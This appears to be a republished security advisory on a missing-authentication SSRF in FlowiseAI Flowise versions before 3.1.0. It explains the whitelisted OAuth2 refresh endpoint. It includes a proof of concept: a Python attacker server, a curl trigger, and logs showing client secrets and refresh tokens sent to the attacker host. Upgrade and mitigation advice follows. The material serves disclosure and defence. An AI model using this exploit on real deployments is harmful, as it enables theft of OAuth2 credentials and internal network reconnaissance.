Listen to this Post
Intro
The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design, as it is included in the public whitelist. It performs a server-side HTTP POST request to a credential-controlled URL (accessTokenUrl) without any SSRF protections. In runtime validation, this endpoint was confirmed to be reachable without authentication, triggering outbound POST requests to an attacker-controlled server. The full remote response body was then reflected back to the caller via the `tokenInfo` field, confirming a non-blind SSRF vulnerability and the exfiltration of credential secrets.
The vulnerability resides in `dist/routes/oauth2/index.js` (container runtime build), under the path prefix /api/v1/oauth2-credential. The route is unauthenticated due to a whitelist defined in dist/utils/constants.js, which includes /api/v1/oauth2-credential/refresh. The authentication middleware in `dist/index.js` uses const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url)), meaning `/api/v1/oauth2-credential/refresh/:credentialId` is treated as whitelisted.
The refresh handler loads the credential by credentialId, decrypts the data, and reads the accessTokenUrl. It then executes `axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), …)` without using any `secureAxiosRequest()` or denylist wrapper, making it vulnerable to SSRF. The response returns tokenInfo: { ...tokenData, ... }, where `tokenData` is the attacker/internal server response body. The request body sent to the SSRF target includes client_id, client_secret, grant_type=refresh_token, and refresh_token.
This combination of missing authentication and lack of SSRF protections allows an attacker to exfiltrate OAuth2 secrets and perform internal network reconnaissance.
DailyCVE Form:
Platform: FlowiseAI Flowise
Version: < 3.1.0
Vulnerability: Missing Authentication + SSRF
Severity: High (CVSS 7.7)
date: 2026-04-23
Prediction: 2026-05-15
What Undercode Say:
Analytics:
- Affected Endpoint: `POST /api/v1/oauth2-credential/refresh/:credentialId`
– Public Whitelist: `/api/v1/oauth2-credential/refresh`
– Vulnerable File: `dist/routes/oauth2/index.js`
– Auth Bypass: `whitelistURLs.some((url) => req.path.startsWith(url))`
– SSRF Target: User-controlled `accessTokenUrl`
– HTTP Client: `axios.post(tokenUrl, …)`
– Data Exfiltrated:client_id,client_secret, `refresh_token`
– Response Reflection: `tokenInfo: { …tokenData }`
Bash Commands & Codes:
Step 1: Start attacker server (Python)
python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
def do_POST(self):
l = int(self.headers.get('Content-Length','0'))
b = self.rfile.read(l).decode('utf-8', errors='replace')
print('REQUEST_PATH', self.path, flush=True)
print('REQUEST_BODY', b, flush=True)
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
def log_message(self, fmt, args):
pass
HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY
Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action) Resulting credential ID: 24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef
Step 3: Trigger refresh without authentication
curl -i -X POST \
http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
-H 'Content-Type: application/json' \
-d '{}'
Observed Response:
{
"success": true,
"message": "OAuth2 token refreshed successfully",
"credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
"tokenInfo": {
"ok": true,
"source": "attacker-server",
"echo_len": 76,
"has_new_refresh_token": false
}
}
Attacker Server Logs:
REQUEST_PATH /token REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2
Exploit:
- Precondition: An authenticated user creates an OAuth2 credential with a malicious `accessTokenUrl` pointing to an attacker-controlled server.
- Trigger: Any unauthenticated attacker who knows the credential UUID can send a POST request to the refresh endpoint.
- Outcome: The server makes a POST request to the attacker-controlled URL, sending
client_id,client_secret, and `refresh_token` in the body. The full response from the attacker server is reflected back to the caller viatokenInfo. - Chaining: This vulnerability can be chained with CVE-2026-41273, where an unauthenticated attacker can retrieve credential identifiers from the public chatflow configuration endpoint (
/api/v1/public-chatbotConfig/<chatflowId>).
Protection:
- Upgrade: Upgrade to Flowise version 3.1.0 or higher.
- Network Segmentation: Restrict outbound network access from the Flowise server to prevent SSRF attacks against internal services.
- Input Validation: Implement proper denylist/allowlist validation for all user-supplied URLs in server-side HTTP requests.
- Authentication: Remove the refresh endpoint from the public whitelist and enforce proper authentication and authorization checks.
Impact:
- Vulnerability Class: Non-blind SSRF + sensitive secret exfiltration.
- Who can set up attack: Any authenticated user who can create/update OAuth2 credentials.
- Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).
- Technical Impact:
- Outbound SSRF to attacker/internal targets.
- Direct leak of `client_secret` and `refresh_token` to SSRF target.
- Direct response read from target via API response (
tokenInfo). - Deployment Impact: Cloud/internal network reachability can expose metadata/internal services depending on egress controls.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

